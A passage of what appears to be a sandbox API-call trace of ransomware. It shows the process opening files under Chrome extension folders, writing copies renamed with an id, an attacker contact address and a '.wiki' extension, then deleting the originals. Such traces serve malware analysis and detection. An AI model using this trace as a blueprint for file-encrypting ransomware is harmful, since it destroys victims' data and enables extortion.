(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0175.460] lstrlenW (lpString=".jpg") returned 4 [0175.460] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.460] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.460] lstrlenW (lpString="messages.json") returned 13 [0175.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.461] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=212) returned 1 [0175.461] CloseHandle (hObject=0x1ac) returned 1 [0175.461] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0175.461] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.461] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.461] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.462] GetLastError () returned 0x0 [0175.462] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd4, lpOverlapped=0x0) returned 1 [0175.463] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.463] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.463] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.464] SetEndOfFile (hFile=0x19c) returned 1 [0175.464] CloseHandle (hObject=0x19c) returned 1 [0175.464] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.464] SetEndOfFile (hFile=0x1ac) returned 1 [0175.464] CloseHandle (hObject=0x1ac) returned 1 [0175.465] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.465] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json")) returned 1 [0175.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.465] lstrlenW (lpString=".doc") returned 4 [0175.465] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.465] lstrlenW (lpString=".docx") returned 5 [0175.465] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.465] lstrlenW (lpString=".pdf") returned 4 [0175.465] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.465] lstrlenW (lpString=".xls") returned 4 [0175.465] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.465] lstrlenW (lpString=".xlsx") returned 5 [0175.465] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.465] lstrlenW (lpString=".ppt") returned 4 [0175.465] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.465] lstrlenW (lpString=".zip") returned 4 [0175.465] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.465] lstrlenW (lpString=".rar") returned 4 [0175.465] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.466] lstrlenW (lpString=".bz2") returned 4 [0175.466] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.466] lstrlenW (lpString=".7z") returned 3 [0175.466] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString=".dbf") returned 4 [0175.466] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString=".1cd") returned 4 [0175.466] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString=".jpg") returned 4 [0175.466] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString=".doc") returned 4 [0175.466] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.466] lstrlenW (lpString=".docx") returned 5 [0175.466] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.466] lstrlenW (lpString=".pdf") returned 4 [0175.466] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.466] lstrlenW (lpString=".xls") returned 4 [0175.466] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.466] lstrlenW (lpString=".xlsx") returned 5 [0175.466] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.466] lstrlenW (lpString=".ppt") returned 4 [0175.466] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.466] lstrlenW (lpString=".zip") returned 4 [0175.466] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.467] lstrlenW (lpString=".rar") returned 4 [0175.467] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.467] lstrlenW (lpString=".bz2") returned 4 [0175.467] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.467] lstrlenW (lpString=".7z") returned 3 [0175.467] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.467] lstrlenW (lpString=".dbf") returned 4 [0175.467] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.467] lstrlenW (lpString=".1cd") returned 4 [0175.467] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 154 [0175.467] lstrlenW (lpString=".jpg") returned 4 [0175.467] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.467] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.467] lstrlenW (lpString="computed_hashes.json") returned 20 [0175.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.777] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=352) returned 1 [0176.777] CloseHandle (hObject=0x2dc) returned 1 [0176.777] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0176.777] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.778] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.778] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0176.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.020] GetLastError () returned 0x0 [0177.020] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x160, lpOverlapped=0x0) returned 1 [0177.024] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x170, lpOverlapped=0x0) returned 1 [0177.025] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.025] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0177.025] SetEndOfFile (hFile=0x1a4) returned 1 [0177.025] CloseHandle (hObject=0x1a4) returned 1 [0177.026] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.026] SetEndOfFile (hFile=0x2dc) returned 1 [0177.026] CloseHandle (hObject=0x2dc) returned 1 [0177.026] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.027] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json")) returned 1 [0177.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.027] lstrlenW (lpString=".doc") returned 4 [0177.027] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.027] lstrlenW (lpString=".docx") returned 5 [0177.027] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.027] lstrlenW (lpString=".pdf") returned 4 [0177.027] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.027] lstrlenW (lpString=".xls") returned 4 [0177.027] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.027] lstrlenW (lpString=".xlsx") returned 5 [0177.027] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.027] lstrlenW (lpString=".ppt") returned 4 [0177.027] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.027] lstrlenW (lpString=".zip") returned 4 [0177.027] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.027] lstrlenW (lpString=".rar") returned 4 [0177.027] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.028] lstrlenW (lpString=".bz2") returned 4 [0177.028] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.028] lstrlenW (lpString=".7z") returned 3 [0177.028] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString=".dbf") returned 4 [0177.028] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString=".1cd") returned 4 [0177.028] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString=".jpg") returned 4 [0177.028] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString=".doc") returned 4 [0177.028] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.028] lstrlenW (lpString=".docx") returned 5 [0177.028] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.028] lstrlenW (lpString=".pdf") returned 4 [0177.028] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.028] lstrlenW (lpString=".xls") returned 4 [0177.028] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.028] lstrlenW (lpString=".xlsx") returned 5 [0177.028] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.028] lstrlenW (lpString=".ppt") returned 4 [0177.028] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.028] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.028] lstrlenW (lpString=".zip") returned 4 [0177.028] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.029] lstrlenW (lpString=".rar") returned 4 [0177.029] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.029] lstrlenW (lpString=".bz2") returned 4 [0177.029] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.029] lstrlenW (lpString=".7z") returned 3 [0177.029] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.029] lstrlenW (lpString=".dbf") returned 4 [0177.029] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.029] lstrlenW (lpString=".1cd") returned 4 [0177.029] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.029] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 156 [0177.029] lstrlenW (lpString=".jpg") returned 4 [0177.029] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.029] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.029] lstrlenW (lpString="messages.json") returned 13 [0177.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.030] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=450) returned 1 [0177.030] CloseHandle (hObject=0x2dc) returned 1 [0177.030] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json")) returned 0x2020 [0177.030] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.030] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.030] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.031] GetLastError () returned 